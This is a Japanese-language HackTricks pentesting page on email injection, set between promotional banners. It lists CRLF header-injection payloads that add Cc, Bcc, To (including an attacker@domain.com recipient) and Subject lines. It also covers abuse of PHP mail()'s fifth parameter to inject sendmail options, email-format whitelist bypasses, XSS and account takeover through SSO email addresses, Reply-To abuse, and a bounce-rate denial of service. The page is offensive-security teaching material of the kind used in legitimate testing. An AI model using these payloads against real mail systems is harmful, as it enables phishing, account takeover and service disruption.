10 KiB
メールインジェクション
Trickestを使用して、世界で最も進んだコミュニティツールを駆使したワークフローを簡単に構築し、自動化します。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
htARTE (HackTricks AWS Red Team Expert)で AWSハッキングをゼロからヒーローに学ぶ!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループやテレグラムグループに参加する、またはTwitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
送信されたメールにインジェクションする
送信者引数の後にCcとBccをインジェクトする
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
メッセージは、受信者とrecipient1アカウントに送信されます。
Inject argument
From:sender@domain.com%0ATo:attacker@domain.com
メッセージは元の受信者と攻撃者のアカウントに送信されます。
件名引数を注入する
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
以下の偽の件名は元の件名に追加される場合もあれば、それに置き換わる場合もあります。これはメールサービスの挙動に依存します。
メッセージ本文の変更
2行のフィードを挿入し、その後にあなたのメッセージを書いてメッセージ本文を変更します。
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
PHP mail()関数の悪用
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
5番目のパラメータ ($additional_parameters)
このセクションでは、攻撃者がこのパラメータを制御していると仮定して、このパラメータの悪用方法について説明します。
このパラメータは、PHPがsendmailバイナリを呼び出すために使用するコマンドラインに追加されます。ただし、escapeshellcmd($additional_parameters)
関数でサニタイズされます。
攻撃者は、この場合にsendmailに追加パラメータを注入することができます。
/usr/sbin/sendmailの実装の違い
sendmailインターフェースは、システムにインストールされているMTAメールソフトウェア(Sendmail、Postfix、Eximなど)によって提供されます。互換性のために基本機能(-t -i -fパラメータなど)は同じですが、他の機能とパラメータはインストールされているMTAによって大きく異なります。
以下は、sendmailコマンド/インターフェースの異なるmanページの例です:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/exim
sendmailバイナリの起源によって、それらを悪用してファイルを漏洩させたり、任意のコマンドを実行するための異なるオプションが発見されています。方法はhttps://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.htmlで確認してください。
メール名に注入する
無視されるメールの一部
シンボル:**+、-および{}**は、稀にタグ付けに使用され、ほとんどのメールサーバーによって無視されます
- 例:john.doe+intigriti@example.com → john.doe@example.com
括弧()内のコメントも、始めや終わりにある場合は無視されます
- 例:john.doe(intigriti)@example.com → john.doe@example.com
ホワイトリストバイパス
引用符
IPアドレス
角括弧で囲まれたドメイン名としてIPアドレスも使用できます:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
その他の脆弱性
サードパーティSSO
XSS
githubやsalesforceのようなサービスでは、XSSペイロードを含むメールアドレスを作成することができます。これらのプロバイダーを使用して他のサービスにログインでき、そのサービスがメールを正しくサニタイズしていない場合、XSSを引き起こす可能性があります。
アカウント乗っ取り
SSOサービスが与えられたメールアドレスの検証なしにアカウントを作成できる場合(salesforceのように)、そのアカウントを使用してsalesforceを信頼する別のサービスにログインできる場合、任意のアカウントにアクセスできます。
salesforceは与えられたメールが検証されたかどうかを示しますが、アプリケーションはこの情報を考慮する必要があります。
Reply-To
_From: company.comとReplay-To: attacker.com_を使用してメールを送信すると、メールが内部アドレスから送信されたために自動返信が送られる場合、攻撃者がその返信を受け取る可能性があります。
ハードバウンス率
AWSのようなアプリケーションにはハードバウンス率(AWSでは10%)があり、これが超過するとメールサービスがブロックされます。
ハードバウンスは、何らかの恒久的な理由で配信できなかったメールです。たとえば、メールが偽のアドレスであるか、メールドメインが実際のドメインではないか、メール受信者のサーバーがメールを受け入れない場合です。つまり、1000通のメールのうち100通が偽物であったり無効であったりしてすべてがバウンスした場合、AWS SESはあなたのサービスをブロックします。
したがって、ウェブアプリケーションから任意のメールアドレスにメール(招待状など)を送信できる場合、存在しないユーザーやドメインに何百もの招待状を送信することで、このブロックを引き起こすことができます:メールサービスDoS。
参考文献
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
- HackTricksに広告を掲載したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手してください。
- The PEASS Familyを発見してください。私たちの独占的なNFTコレクションです。
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
世界で最も進んだコミュニティツールを駆使してワークフローを簡単に構築し自動化するためにTrickestを使用してください。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}